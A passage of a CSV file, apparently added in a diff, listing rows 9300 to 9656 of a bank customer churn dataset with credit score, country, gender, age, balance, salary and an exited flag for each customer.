+9300,15766826,North,824,France,Male,26,7,146266,1,1,0,21903.62,1 +9301,15591628,Davies,701,Germany,Male,41,9,164046.1,1,1,0,49405.93,0 +9302,15583857,Siciliano,623,Spain,Female,43,4,123536.52,2,0,0,154908.52,0 +9303,15752534,Mironov,744,France,Male,36,10,0,2,1,1,182867.84,0 +9304,15741403,Amechi,698,Spain,Female,38,1,171848.38,1,0,0,16957.45,0 +9305,15783589,Toscano,616,France,Male,40,9,0,2,0,0,93717.55,0 +9306,15598046,Su,662,France,Female,39,5,139562.05,2,1,0,61636.22,0 +9307,15643330,Chukwuemeka,594,France,Male,37,2,0,2,0,1,95864.5,0 +9308,15680405,P'eng,685,France,Male,40,2,168001.34,2,1,1,167400.29,0 +9309,15728683,Lombardo,742,France,Male,27,0,0,2,0,1,131534.96,0 +9310,15621644,Lombardi,678,Germany,Male,83,6,123356.63,1,0,1,92934.41,0 +9311,15733032,Butler,651,Spain,Male,47,2,0,2,1,1,119808.64,0 +9312,15608381,Dean,585,Germany,Male,50,2,125845.66,1,1,0,9439.31,1 +9313,15658946,Piccio,579,Germany,Male,40,10,45408.85,2,1,0,18732.91,0 +9314,15757912,Bradley,722,Germany,Female,37,0,125977.81,1,0,0,160162.42,0 +9315,15645371,Cameron,613,Germany,Female,51,7,147262.11,1,1,1,53630.9,1 +9316,15653110,Chan,694,France,Male,42,8,133767.19,1,1,0,36405.21,0 +9317,15766355,Lettiere,550,Germany,Male,49,0,108806.96,3,1,0,61446.92,1 +9318,15585249,Mironova,741,France,Male,42,6,106036.52,1,1,0,194686.78,1 +9319,15611786,Tsui,668,Spain,Female,69,9,0,1,0,1,134483.07,0 +9320,15575486,Okoli,529,France,Female,27,1,0,2,1,1,37769.98,0 +9321,15780215,Berry,636,France,Male,31,6,0,2,1,1,2382.61,0 +9322,15686099,Ruse,563,Spain,Male,61,1,82182.1,1,1,0,106826.92,1 +9323,15739042,Bogolyubov,767,France,Female,35,9,0,2,1,0,39511.61,0 +9324,15815316,Kennedy,644,France,Male,50,9,76817,4,1,0,196371.13,1 +9325,15778489,Bolton,780,Germany,Male,71,9,142550.25,2,1,1,122506.78,0 +9326,15786389,Chuang,635,Spain,Female,41,10,0,2,1,1,61994.2,0 +9327,15601787,Greco,641,Germany,Male,35,2,103711.56,1,0,1,192464.21,1 +9328,15624715,Ma,593,Spain,Female,40,2,0,1,1,1,5194.95,0 +9329,15763093,Nucci,540,Germany,Female,35,7,128369.75,2,1,0,198256.15,0 +9330,15572073,Yao,663,Spain,Male,35,5,0,2,1,1,62634.94,0 +9331,15780256,Palfreyman,630,France,Male,34,9,0,2,1,1,114006.35,0 +9332,15659305,Webster,605,Germany,Male,19,8,166133.28,1,1,1,107994.99,0 +9333,15638882,Cardell,710,Germany,Female,62,9,148214.36,1,1,0,48571.14,1 +9334,15714680,Bianchi,755,France,Female,78,5,121206.96,1,1,1,76016.49,0 +9335,15777217,Somadina,641,Spain,Male,25,10,0,2,1,1,180808.39,0 +9336,15739123,Mellor,737,Germany,Male,50,4,127552.85,2,1,0,4225.11,0 +9337,15594450,Tomlinson,695,France,Male,49,9,159458.53,1,1,0,135841.35,0 +9338,15797751,Pai,466,Germany,Female,47,5,102085.72,1,1,1,183536.24,1 +9339,15691543,Lennox,558,Germany,Male,58,2,142537.18,1,1,1,88791.83,0 +9340,15722845,Meldrum,665,Spain,Male,29,1,182781.74,2,1,1,63732.9,0 +9341,15605804,Watson,737,France,Male,45,10,0,2,1,0,1364.54,0 +9342,15702061,Findlay,654,France,Male,29,7,0,2,1,1,149184.15,0 +9343,15694321,Su,619,France,Female,28,3,0,2,1,0,53394.12,0 +9344,15798749,Davidson,845,Germany,Female,43,3,152063.59,2,1,0,97910.06,0 +9345,15720050,Barrett,727,France,Female,28,2,110997.76,1,1,0,101433.76,0 +9346,15758048,Miah,582,France,Male,50,2,148942,1,1,1,116944.3,0 +9347,15805681,Chamberlain,716,France,Male,41,9,0,1,1,1,113267.48,0 +9348,15802809,Vidal,660,Spain,Female,36,0,84438.57,1,1,1,181449.51,0 +9349,15807239,Lung,664,France,Female,34,7,93920.47,1,0,0,179913.98,0 +9350,15749093,Tretyakova,801,France,Male,43,4,158713.08,2,0,0,98586.14,0 +9351,15689344,Montgomery,615,Spain,Male,42,4,0,3,0,1,120321.09,0 +9352,15606076,Golubev,718,Germany,Male,63,7,123204.88,1,1,1,100538.8,0 +9353,15610090,Han,667,France,Male,40,8,72945.29,2,1,0,98931.5,0 +9354,15693926,Pan,670,Spain,Male,37,0,178742.71,1,1,1,194493.57,0 +9355,15791501,Carroll,590,France,Male,43,8,0,2,1,1,143628.31,0 +9356,15621870,Hawkins,739,Spain,Female,40,8,0,1,1,0,167030.51,0 +9357,15734711,Loggia,373,France,Male,42,7,0,1,1,0,77786.37,1 +9358,15814405,Chesnokova,418,France,Female,46,9,0,1,1,1,81014.5,1 +9359,15729359,Chambers,837,France,Female,29,9,0,2,1,1,41866.26,0 +9360,15606944,Fleming,645,Germany,Male,43,9,140121.17,1,1,0,11302.7,1 +9361,15671934,Veale,552,Germany,Male,39,2,132906.88,1,0,1,149384.43,0 +9362,15641773,Browne,580,Germany,Male,45,2,179334.83,2,1,1,169303.65,0 +9363,15701972,Parsons,684,France,Male,35,3,137179.39,1,1,1,37264.11,0 +9364,15749114,Bailey,634,Spain,Male,35,3,0,2,1,1,19515.48,0 +9365,15780362,Ferrari,607,France,Female,49,9,119960.29,2,1,0,103068.22,0 +9366,15753229,Genovese,802,France,Male,29,9,127414.55,1,1,1,134459.12,0 +9367,15656009,McIntyre,736,France,Female,36,6,0,1,1,0,70496.66,0 +9368,15785024,Warner,629,France,Female,40,9,137409.19,1,1,0,175877.7,1 +9369,15670492,Gordon,737,France,Male,28,8,0,2,1,0,106390.01,0 +9370,15795458,McMillan,718,Spain,Female,39,2,0,1,1,1,52138.49,0 +9371,15732438,Cheng,561,France,Male,43,4,0,4,0,0,18522.91,1 +9372,15781987,Akhtar,641,France,Male,31,9,112494.99,1,1,1,32231.6,0 +9373,15775826,Iadanza,677,France,Male,30,1,78133.15,1,0,1,174225.88,0 +9374,15807457,Abernathy,641,Spain,Female,36,1,0,2,1,0,102021.39,0 +9375,15632538,Watson,658,Spain,Female,32,5,145553.07,1,1,1,31484.76,0 +9376,15641389,Shen,659,Germany,Male,48,4,123593.22,2,1,0,82469.06,1 +9377,15657306,Kershaw,567,France,Female,47,2,0,1,0,0,110900.43,1 +9378,15709447,Reed,584,France,Female,26,0,146286.22,1,1,0,105105.35,0 +9379,15762682,Mitchell,709,Spain,Female,35,1,111827.27,2,1,0,12674.68,0 +9380,15626042,Webb,690,Spain,Female,26,2,0,2,1,1,93255.85,0 +9381,15597109,Vanzetti,627,France,Male,70,1,94416.78,1,0,1,145299.5,0 +9382,15756148,Nnanna,765,Spain,Male,45,2,91549.78,1,1,1,47139.44,0 +9383,15665634,Campbell,645,France,Female,38,7,59568.57,1,1,1,167723.25,0 +9384,15739997,Capon,716,France,Female,23,2,94464.81,2,0,1,185900.88,0 +9385,15686242,Otutodilichukwu,771,France,Female,57,4,0,1,0,0,85876.67,1 +9386,15759244,Boone,687,Germany,Male,44,8,95368.14,2,1,1,1787.85,0 +9387,15672027,McIntyre,717,Germany,Female,33,10,102185.42,2,1,0,23231.93,0 +9388,15594576,Zhdanov,524,France,Male,32,1,144875.71,1,0,0,187740.04,0 +9389,15707138,Nagy,679,Spain,Male,39,5,0,2,1,1,100060.54,0 +9390,15756954,Lombardo,538,France,Female,32,2,0,1,1,1,80130.54,0 +9391,15619130,Simpson,752,Germany,Female,37,5,113291.05,2,1,1,132467.54,0 +9392,15639665,Herbert,846,Spain,Male,61,0,0,2,1,1,96202.44,0 +9393,15571065,Lehr,532,Spain,Female,39,0,0,2,1,0,94977.3,0 +9394,15686060,Chou,670,Germany,Male,43,9,111677.88,1,1,0,178827.3,1 +9395,15615753,Upchurch,597,Germany,Female,35,8,131101.04,1,1,1,192852.67,0 +9396,15800961,Ugorji,627,Germany,Male,52,1,76101.81,2,0,1,177238.35,0 +9397,15763065,Palerma,700,Spain,Female,40,2,0,2,1,0,199753.97,0 +9398,15672467,Coles,766,France,Female,52,7,92510.9,2,0,1,66193.61,0 +9399,15752915,Hsueh,488,France,Female,34,2,0,2,1,1,181270.84,0 +9400,15744695,Tu,694,France,Male,39,5,77652.4,1,1,1,25407.59,0 +9401,15584897,Kuo,639,France,Female,31,3,98360.03,1,0,0,20973.8,0 +9402,15601857,Woodhouse,705,Germany,Female,46,4,115518.07,1,0,0,76544.9,1 +9403,15674156,Tretiakova,810,Germany,Male,69,3,27288.43,1,1,1,110509.9,0 +9404,15695465,Gibson,638,France,Female,36,6,0,1,1,0,164247.51,0 +9405,15792232,Moss,595,Spain,Female,43,5,0,2,0,0,105149.8,0 +9406,15807900,Chineze,575,France,Male,36,7,0,1,1,1,55868.97,1 +9407,15743760,Davidson,850,France,Male,31,6,131996.66,2,1,1,178747.43,0 +9408,15652835,Liang,419,Spain,Female,27,2,121580.42,1,0,1,134720.51,0 +9409,15767818,Graham,640,France,Male,55,10,132436.34,1,1,0,978.66,0 +9410,15591150,Nwebube,570,Spain,Male,34,10,0,2,0,1,183387.12,0 +9411,15734659,Sozonov,640,Germany,Female,46,5,107978.4,2,1,0,155876.06,0 +9412,15796115,Forbes,689,Germany,Female,40,4,78119.59,4,1,0,119259.34,1 +9413,15724648,Chikezie,725,France,Male,26,6,98684.15,1,0,0,133720.57,0 +9414,15737732,Onwuemelie,751,France,Female,44,10,0,2,1,0,170634.49,0 +9415,15632280,Toth,544,Spain,Female,53,9,0,1,1,0,125692.07,1 +9416,15750407,Hunt,768,Germany,Female,43,2,129264.05,2,0,0,19150.14,0 +9417,15795370,Mazure,648,Germany,Male,37,6,131753.41,1,1,0,86894.67,0 +9418,15656829,Hughes,577,Spain,Female,33,6,0,2,1,0,57975.8,0 +9419,15643794,Bennett,639,Spain,Female,27,2,0,1,1,1,82938.99,0 +9420,15798605,Tien,686,Germany,Male,26,1,57422.62,1,1,1,79189.4,0 +9421,15637324,Kay,657,France,Female,28,7,0,2,0,1,5177.62,0 +9422,15589589,Bryan,613,France,Male,34,5,144094.2,1,1,0,44510.26,0 +9423,15778936,Ingamells,701,France,Male,33,9,147510.34,1,1,0,190611.92,0 +9424,15757385,Milne,578,Spain,Female,28,8,161592.76,1,1,0,177834.79,0 +9425,15666200,Lombardo,689,France,Female,40,1,0,2,1,1,119446.64,0 +9426,15683977,Owens,687,Spain,Female,72,4,0,2,1,1,50267.69,0 +9427,15675518,Charlton,499,Spain,Female,53,1,75225.53,2,0,0,144849.1,1 +9428,15584812,Overby,693,Spain,Female,39,0,0,2,0,0,81901.6,0 +9429,15752984,Chifley,737,France,Female,70,9,87542.89,2,1,1,42576.86,0 +9430,15577913,Oliver,651,France,Female,32,8,144581.96,1,1,1,87609.5,0 +9431,15591980,Hill,753,France,Male,33,5,122568.05,2,1,1,82820.85,0 +9432,15598948,DeRose,523,Spain,Female,24,5,172231.93,1,0,1,155144.12,0 +9433,15574142,Chuang,458,Germany,Female,28,2,171932.26,2,1,1,9578.24,0 +9434,15582903,Edwards,643,France,Male,39,7,0,2,1,1,170392.59,0 +9435,15733229,Rodriguez,638,Spain,Female,34,7,0,2,0,0,3946.29,0 +9436,15635752,Lo,685,Germany,Male,38,4,111798.06,2,1,1,102184.66,0 +9437,15771000,Powell,684,France,Male,38,4,0,3,1,0,75609.84,0 +9438,15804864,Chu,670,France,Female,27,5,79336.61,1,1,1,26170.08,0 +9439,15641175,Munro,701,Germany,Male,63,3,120916.52,3,0,0,144727.45,1 +9440,15692226,Onwumelu,705,France,Female,31,3,142905.51,1,1,1,58134.97,0 +9441,15584156,Siciliani,593,Spain,Male,27,10,0,3,0,0,94620,1 +9442,15702656,Yobachi,651,France,Female,33,1,96834.78,1,1,0,108764.69,0 +9443,15606552,Akabueze,741,France,Male,37,9,105261.76,2,1,1,149503.54,0 +9444,15687001,Chiemenam,596,Germany,Male,54,1,123544,1,1,1,120314.75,1 +9445,15781903,Odinakachukwu,581,Germany,Male,41,2,127913.71,2,1,1,44205.95,0 +9446,15731951,Reilly,689,Spain,Female,28,5,95328.6,1,1,0,6129.61,1 +9447,15580953,Forbes,544,France,Male,30,4,73218.89,1,0,1,126796.69,0 +9448,15810390,Amadi,718,France,Female,41,1,0,2,0,1,27509.52,1 +9449,15628274,Ferri,583,Germany,Male,35,8,149995.72,2,1,0,42143.55,0 +9450,15615444,Y?an,663,Germany,Male,28,8,123674.28,2,1,1,87985.2,0 +9451,15784010,Williamson,666,Germany,Male,33,2,124125.26,1,1,0,81884.8,0 +9452,15571586,Briggs,524,Spain,Male,29,3,159035.45,1,1,0,2705.31,1 +9453,15748616,Napolitani,599,France,Male,27,5,0,2,1,0,30546.4,0 +9454,15769402,Carpenter,667,France,Male,27,7,156811.74,1,1,1,149402.59,0 +9455,15739248,Lin,727,France,Male,52,4,0,2,1,1,118429.02,0 +9456,15603481,Robinson,689,Spain,Female,55,4,0,2,1,1,58442.25,0 +9457,15723604,Collins,639,France,Male,39,6,150555.83,1,1,0,30414.17,0 +9458,15797822,Kingsley,678,France,Male,28,2,109137.12,1,1,1,58814.41,0 +9459,15665064,Harvey,523,France,Male,36,8,158351.02,2,1,0,155304.53,0 +9460,15640580,Obiora,650,France,Female,47,9,0,1,1,0,187943.6,0 +9461,15581089,Knight,744,Spain,Male,35,7,0,2,1,1,43036.6,0 +9462,15728605,Hung,697,France,Male,40,4,0,2,0,1,26543.28,0 +9463,15737385,Curtis,800,Spain,Female,46,6,0,2,1,0,171928.04,0 +9464,15714789,Perez,664,France,Male,24,7,0,1,0,1,35611.35,0 +9465,15786035,Gosnell,740,France,Male,39,9,0,2,1,0,19047.23,0 +9466,15815259,Fang,835,France,Female,56,2,0,2,1,1,39820.13,0 +9467,15592716,Clarke,559,France,Male,52,2,0,1,1,0,129013.59,1 +9468,15734850,Milanesi,676,Spain,Male,36,1,82729.49,1,1,0,113810.12,0 +9469,15638047,Chia,613,Germany,Female,45,9,142765.24,2,1,0,34749.65,0 +9470,15674573,Gearhart,713,France,Female,25,4,121172.97,1,1,1,56268.98,0 +9471,15694859,McLean,751,Germany,Female,28,10,132932.14,2,1,1,46630.47,0 +9472,15776404,Williamson,523,France,Male,22,8,123374.46,1,1,1,124906.59,0 +9473,15579345,Murphy,775,Germany,Female,74,0,161371.5,1,1,1,134869.93,0 +9474,15690733,Angelo,608,Spain,Male,45,4,0,2,0,0,36697.48,1 +9475,15631481,Thomson,673,France,Male,51,8,79563.36,2,1,1,172200.91,0 +9476,15620988,Murray,616,France,Male,46,2,0,2,1,0,137136.46,0 +9477,15571529,Kirby,650,Germany,Female,48,7,138232.24,1,1,0,57594.78,0 +9478,15592104,Lane,655,France,Female,41,5,0,1,0,0,36548,1 +9479,15651900,Bergamaschi,782,Germany,Female,53,1,81571.05,1,1,0,182960.46,1 +9480,15596212,Yang,781,Spain,Male,35,1,0,2,0,0,42117.9,0 +9481,15710687,Mills,593,France,Female,33,0,95927.04,1,1,0,199478.05,0 +9482,15613787,Chidubem,505,Spain,Male,35,8,116932.59,1,1,0,91092.84,0 +9483,15599211,Findlay,707,France,Male,40,1,0,2,1,0,14090.4,1 +9484,15675983,Wood,692,France,Female,36,3,79551.12,1,0,1,178267.07,0 +9485,15622370,Boyle,813,Germany,Male,30,1,116416.94,1,0,1,85808.22,0 +9486,15656319,Toscano,850,Spain,Male,37,4,88141.1,1,1,0,109659.12,0 +9487,15605130,Seccombe,753,France,Male,32,6,177729.13,1,1,1,161642.08,0 +9488,15672574,Uspenskaya,850,Spain,Female,32,5,0,1,1,1,3830.59,0 +9489,15659355,McKenzie,671,Spain,Male,32,6,123912.78,2,1,1,146636.44,0 +9490,15777907,Liang,791,France,Female,33,3,0,1,1,1,144413.92,1 +9491,15655171,Yermakova,624,France,Male,80,3,0,1,1,1,65801.44,0 +9492,15619674,White,649,France,Female,35,4,108306.44,1,1,1,192486.24,0 +9493,15775192,Rounsevell,732,Germany,Female,48,4,102962.62,1,1,0,120852.85,1 +9494,15617657,Ts'ai,664,France,Female,36,0,103502.22,1,1,1,146191.82,0 +9495,15688951,Stoneman,789,Germany,Male,43,8,119654.44,2,0,1,148412.24,1 +9496,15763460,Yao,680,France,Male,33,10,183768.47,1,1,0,164119.35,0 +9497,15756992,Chukwukere,701,France,Male,37,1,0,2,1,0,163457.55,0 +9498,15617454,Ifeatu,684,France,Female,25,1,0,2,0,1,144978.47,0 +9499,15701932,Millar,586,France,Female,52,6,140900.97,1,1,1,67288.89,0 +9500,15700813,Igwebuike,522,Germany,Female,25,5,94049.92,2,1,0,103269,0 +9501,15645600,Obidimkpa,739,Spain,Female,27,8,98926.4,1,1,1,106969.98,0 +9502,15634146,Hou,835,Germany,Male,18,2,142872.36,1,1,1,117632.63,0 +9503,15686743,Moody,790,Spain,Male,29,3,46057.96,2,1,1,189777.66,0 +9504,15698792,Keldie,671,France,Female,48,6,119769.77,1,0,1,66032.65,0 +9505,15591724,Liu,560,France,Female,44,5,143244.97,1,1,0,98661.27,0 +9506,15571281,Ts'ao,651,France,Male,28,10,79562.98,1,1,1,74687.37,0 +9507,15661380,Walker,682,France,Male,69,6,0,2,0,1,149604.18,0 +9508,15728885,Defalco,808,France,Male,41,0,0,1,1,1,79888.78,0 +9509,15618950,Lo Duca,644,Spain,Male,26,8,96659.64,2,1,1,138775.69,0 +9510,15609804,Hyde,688,France,Male,29,1,0,2,1,0,154695.57,0 +9511,15735849,Kanayochukwu,617,France,Female,26,2,165947.99,2,0,1,168834.38,0 +9512,15652948,Yen,738,France,Male,33,4,92676.3,1,1,0,105817.63,0 +9513,15618155,Ts'ui,663,France,Male,45,5,83195.12,1,1,1,48682.1,0 +9514,15566378,Tillman,515,France,Male,48,5,129387.94,1,0,1,147955.91,1 +9515,15565879,Riley,845,France,Female,28,9,0,2,1,1,56185.98,0 +9516,15792922,Tu,639,Spain,Male,38,9,130233.14,1,1,1,81861.1,0 +9517,15770567,Ruiz,557,France,Female,32,3,123502.53,1,1,1,69826.8,0 +9518,15738042,Goliwe,543,Germany,Male,37,8,140894.06,2,1,1,118059.19,0 +9519,15714920,Balashov,585,Germany,Male,44,7,163867.86,1,1,1,112333.22,0 +9520,15782121,Leonard,610,France,Female,27,2,0,2,1,0,14546.76,0 +9521,15673180,Onyekaozulu,727,Germany,Female,18,2,93816.7,2,1,0,126172.11,0 +9522,15660636,Carpenter,540,Spain,Female,40,8,0,2,1,0,3560,0 +9523,15664504,Beede,418,France,Male,35,7,0,2,1,1,88878.15,0 +9524,15790322,Beneventi,660,France,Female,32,0,114668.89,1,1,0,84605,0 +9525,15739847,Sadlier,850,Germany,Male,38,5,146756.68,1,1,0,78268.61,0 +9526,15699415,Lewis,618,France,Female,46,6,150213.71,1,1,0,120668.46,1 +9527,15665521,Chiazagomekpele,642,Germany,Male,18,5,111183.53,2,0,1,10063.75,0 +9528,15682868,Elliott,850,France,Female,40,9,99816.46,1,1,1,163989.66,1 +9529,15584462,Liang,739,France,Male,34,9,0,1,1,0,60584.33,0 +9530,15661708,She,508,France,Female,41,5,0,2,1,1,94170.84,0 +9531,15584452,Bozeman,667,France,Male,41,6,0,2,0,0,167181.77,0 +9532,15717010,Yu,741,France,Female,60,5,0,1,1,1,38914.51,0 +9533,15643828,Teng,592,France,Male,29,7,0,2,1,1,91196.67,0 +9534,15733361,Davide,651,Germany,Female,45,6,86714.06,1,1,0,85869.89,1 +9535,15795488,Beneventi,773,Spain,Male,52,2,0,2,1,0,57337.79,0 +9536,15581551,Yobachukwu,850,Spain,Male,41,8,132838.07,1,1,1,175347.28,0 +9537,15632051,Douglas,550,Germany,Female,42,10,128707.31,1,1,0,63092.65,1 +9538,15780409,Egobudike,783,France,Male,40,6,0,2,1,0,109742.55,0 +9539,15572767,Shelby,777,France,Male,29,2,0,2,1,0,124489.88,0 +9540,15590337,Golubov,659,France,Male,29,6,123192.12,1,1,1,56971.41,1 +9541,15634551,Williamson,727,Germany,Male,46,3,115248.11,4,1,0,130752.01,1 +9542,15669290,Fan,603,France,Male,38,8,59360.77,1,1,1,191457.06,0 +9543,15621140,Nwebube,644,Spain,Male,37,9,0,2,1,1,96442.86,0 +9544,15613518,Bellucci,647,France,Female,35,6,112668.7,1,0,1,122584.29,0 +9545,15728043,Udinese,648,Germany,Female,37,7,138503.51,2,1,0,57215.85,0 +9546,15570073,Marian,721,Spain,Male,57,1,0,1,1,1,195940.96,0 +9547,15777033,Chizoba,524,France,Male,29,7,0,2,1,1,105448.74,0 +9548,15682454,McFarland,626,France,Female,34,3,0,2,1,1,37870.29,0 +9549,15758513,McDonald,569,France,Male,43,7,0,2,1,0,52534.81,0 +9550,15772604,Chiemezie,578,Spain,Male,36,1,157267.95,2,1,0,141533.19,0 +9551,15721715,Fane,769,France,Female,40,9,133871.05,1,1,1,50568.02,0 +9552,15688563,Marchesi,694,Germany,Male,31,4,141989.27,2,1,0,26116.82,0 +9553,15772009,Scott,664,France,Female,41,5,0,1,1,1,152054.33,0 +9554,15809585,H?,646,France,Male,38,7,0,2,1,0,1528.4,0 +9555,15593778,Craig,779,France,Female,29,3,46388.16,3,1,0,127939.26,1 +9556,15655360,Chikelu,782,Germany,Female,72,5,148666.99,1,1,0,2605.65,1 +9557,15780909,Caffyn,769,Germany,Male,34,7,115101.5,1,0,0,57841.89,1 +9558,15757310,Otitodilichukwu,655,Germany,Male,67,6,148363.38,1,1,1,186995.17,0 +9559,15801411,Green,623,Spain,Male,46,4,0,1,1,0,5549.11,1 +9560,15761706,Y?an,705,Spain,Female,39,8,144102.32,1,1,1,11682.36,0 +9561,15658409,Mao,686,France,Male,41,5,128876.71,3,1,1,106939.34,1 +9562,15810010,Dahlenburg,678,Germany,Male,36,6,118448.15,2,1,0,53172.02,0 +9563,15627027,Shih,738,France,Male,39,5,0,2,1,1,114388.98,0 +9564,15624374,Maclean,703,France,Male,28,9,0,2,0,1,2151.17,0 +9565,15720083,Fiorentino,554,Spain,Male,42,1,0,2,0,1,183492.9,0 +9566,15752294,Long,582,France,Female,38,9,135979.01,4,1,1,76582.95,1 +9567,15743193,Olson,644,France,Male,37,6,117271.8,2,1,0,104217.96,1 +9568,15696733,McKenzie,724,France,Male,29,4,0,1,1,0,8982.75,0 +9569,15677522,Rossi,593,France,Male,33,1,0,2,0,0,9984.4,0 +9570,15643523,Power,710,Spain,Female,30,10,0,2,1,0,19500.1,0 +9571,15624936,Yen,631,France,Male,35,8,129205.49,1,1,1,79146.36,0 +9572,15716085,Norris,739,Spain,Female,41,8,0,1,1,0,191694.77,1 +9573,15641688,Collier,644,Spain,Male,18,7,0,1,0,1,59645.24,1 +9574,15796834,Rivers,652,Germany,Male,35,7,104015.54,2,1,1,55207.88,0 +9575,15720123,Hudson,554,Spain,Male,37,3,0,2,1,0,166177.3,0 +9576,15604732,Milani,483,France,Female,30,9,0,2,0,0,136356.97,0 +9577,15723484,Hunt,669,Germany,Female,42,1,103873.39,1,1,0,148611.52,0 +9578,15807120,Oluchukwu,841,Germany,Female,52,3,112383.03,1,1,0,85516.37,1 +9579,15810891,Lorenzo,662,France,Male,34,2,117731.79,2,0,1,55120.79,0 +9580,15640407,Chidiegwu,821,Germany,Male,45,0,135827.33,2,1,1,131778.58,0 +9581,15778838,Warren,783,France,Male,38,9,114135.17,1,1,0,153269.98,0 +9582,15709256,Glover,850,France,Female,28,9,0,2,1,1,164864.67,0 +9583,15742285,Andersen,559,France,Male,62,6,118756.62,1,1,1,20367.68,0 +9584,15729019,Arcuri,602,Spain,Male,34,8,98382.72,1,1,0,39542,0 +9585,15608588,Mackinlay,563,Germany,Male,41,2,100520.92,1,1,1,19412.8,1 +9586,15610557,McCarthy,695,Spain,Female,35,7,79858.13,2,1,1,127977.66,0 +9587,15786418,Chiu,546,France,Female,20,6,0,1,0,1,20508.85,0 +9588,15653050,Norriss,719,Germany,Female,76,10,95052.29,1,1,0,176244.87,0 +9589,15744914,Moore,539,Germany,Male,42,1,177728.55,1,1,0,105013.63,0 +9590,15669611,Mott,632,France,Male,71,3,83116.68,1,1,1,27597.76,0 +9591,15594786,Ts'ai,772,Germany,Male,34,7,111565.91,1,1,1,121073.23,0 +9592,15649211,Fokina,708,Spain,Male,40,8,83015.71,1,1,0,101089.76,0 +9593,15766066,Nikitina,668,Germany,Female,28,1,124511.01,1,0,0,114258.18,0 +9594,15772216,Henry,738,France,Female,67,1,130652.52,1,0,1,22762.23,0 +9595,15619898,Chiefo,785,France,Male,55,5,0,2,1,1,7008.65,0 +9596,15724543,Mao,597,France,Male,61,5,0,2,1,1,81299.17,0 +9597,15755084,Bezrukova,531,France,Male,37,7,121854.45,1,1,0,147521.35,0 +9598,15730441,Dodd,509,France,Male,26,10,0,2,1,1,6177.83,0 +9599,15666767,Lori,508,France,Male,35,1,86893.28,1,0,0,59374.82,0 +9600,15690456,Yudina,749,Germany,Female,32,7,79523.13,1,0,1,157648.12,0 +9601,15570533,Conti,621,Germany,Female,55,7,131033.76,1,0,1,75685.59,1 +9602,15797692,Volkova,659,France,Female,33,7,89939.62,1,1,0,136540.09,0 +9603,15603135,Boni,634,Germany,Female,59,3,95727.05,1,0,0,97939.4,1 +9604,15698927,Ritchie,675,France,Male,39,7,0,2,0,1,36267.21,0 +9605,15687363,McMillan,770,France,Male,31,3,155047.56,2,1,1,186064.34,0 +9606,15733444,Phillips,736,France,Female,29,9,0,2,0,0,176152.7,0 +9607,15678057,Lombardi,524,France,Male,44,10,118569.03,2,0,0,82117.2,0 +9608,15806918,Ireland,674,France,Male,28,5,0,1,1,1,151925.25,0 +9609,15638247,Boan,700,Spain,Male,44,9,0,2,1,0,142287.65,0 +9610,15674833,Shao,741,France,Female,35,1,0,2,1,0,36557.55,0 +9611,15812534,Chiemenam,455,France,Male,40,1,0,3,0,1,129975.34,0 +9612,15586522,Hunter,608,Spain,Male,37,2,130461.02,1,1,0,21967.15,0 +9613,15794297,McKay,776,France,Male,36,1,0,2,1,0,53477.76,0 +9614,15737025,Roberts,635,France,Male,33,1,0,3,0,0,178067.33,1 +9615,15615931,Aitken,746,France,Female,37,4,0,2,0,1,171039.56,0 +9616,15664860,Chao,692,Spain,Female,47,3,0,2,1,0,150802.41,1 +9617,15664539,Bruce,683,Spain,Male,35,9,61172.04,1,0,0,82951.12,0 +9618,15583692,Chan,591,Germany,Female,35,2,90194.34,2,1,0,57064.57,0 +9619,15693131,Watts,581,France,Female,24,3,95508.2,1,1,1,45755,0 +9620,15779973,Gibbons,684,Germany,Male,35,3,99967.76,1,1,1,176882.08,0 +9621,15620557,Ni,561,Spain,Male,37,4,101470.29,1,0,1,88838.14,0 +9622,15639549,Jen,718,Germany,Female,33,4,70541.06,1,0,0,88592.8,0 +9623,15618750,Phillips,590,France,Male,31,8,112211.61,1,1,0,26261.42,0 +9624,15796790,Amaechi,573,France,Female,47,8,154543.98,1,1,0,29586.73,0 +9625,15668309,Maslow,350,France,Female,40,0,111098.85,1,1,1,172321.21,1 +9626,15732437,Rowley,504,Germany,Female,44,0,131873.07,2,1,1,158036.72,1 +9627,15665158,Chukwuemeka,813,Spain,Male,27,1,137275.36,1,0,1,115733.16,0 +9628,15689322,Bevan,641,Spain,Male,31,3,153316.14,1,1,0,59927.99,0 +9629,15596624,Topp,662,France,Female,22,9,0,2,1,1,44377.65,0 +9630,15601977,Burgoyne,497,Spain,Male,44,2,121250.04,1,0,1,79691.4,0 +9631,15801462,Yermakov,716,France,Male,31,8,109578.04,2,1,1,51503.51,0 +9632,15566139,Ts'ui,526,France,Female,37,5,53573.18,1,1,0,62830.97,0 +9633,15791006,Kodilinyechukwu,760,Germany,Female,34,6,58003.41,1,1,0,90346.1,0 +9634,15668057,K?,669,France,Female,31,6,113000.66,1,1,0,40467.82,0 +9635,15580805,Marino,655,France,Male,27,10,0,2,1,0,51620.94,0 +9636,15658768,Lucas,547,France,Female,49,2,0,1,0,0,65466.93,1 +9637,15613048,Anderson,648,Germany,Female,40,5,139973.65,1,1,1,667.66,1 +9638,15803654,Wei,790,France,Female,31,2,151290.16,1,1,1,172437.12,0 +9639,15662337,Baldwin,744,Germany,Female,50,1,121498.11,2,0,1,106061.47,1 +9640,15650924,Foster,761,Spain,Female,32,4,103515.39,2,1,1,177622.38,0 +9641,15647203,Gebhart,750,France,Female,35,3,0,1,1,0,191520.5,0 +9642,15682778,Fedorov,680,France,Male,34,9,0,2,1,1,95686.6,0 +9643,15579820,Robertson,704,Spain,Male,38,6,106687.76,1,1,0,173776.5,0 +9644,15709354,Tudawali,521,France,Female,41,2,0,2,1,1,113089.43,0 +9645,15728480,Iloerika,452,France,Female,35,8,0,2,1,1,149614.81,0 +9646,15641091,Onyemauchechukwu,695,France,Female,31,5,106089.2,1,0,0,99537.68,0 +9647,15603111,Muir,850,Spain,Male,71,10,69608.14,1,1,0,97893.4,1 +9648,15679693,Walker,625,France,Male,31,5,0,2,0,1,90.07,0 +9649,15797190,Charlton,608,Germany,Female,40,7,96202.32,1,0,0,161154.85,0 +9650,15788025,Tseng,715,France,Female,38,0,0,2,1,1,332.81,0 +9651,15646168,Ifeatu,834,Spain,Male,33,5,0,2,1,0,66285.18,0 +9652,15580493,Chin,469,France,Male,33,1,127818.52,1,1,0,163477.22,0 +9653,15726720,Blinova,480,France,Female,40,7,0,1,1,0,170332.67,1 +9654,15735799,Maconochie,527,Germany,Male,58,3,137318.42,1,1,1,126144.96,0 +9655,15773098,Ch'in,834,Spain,Male,34,5,0,2,0,0,53437.1,0 +9656,15668971,Nicholson,583,France,Female,40,4,55776.39,2,1,0,26920.43,0 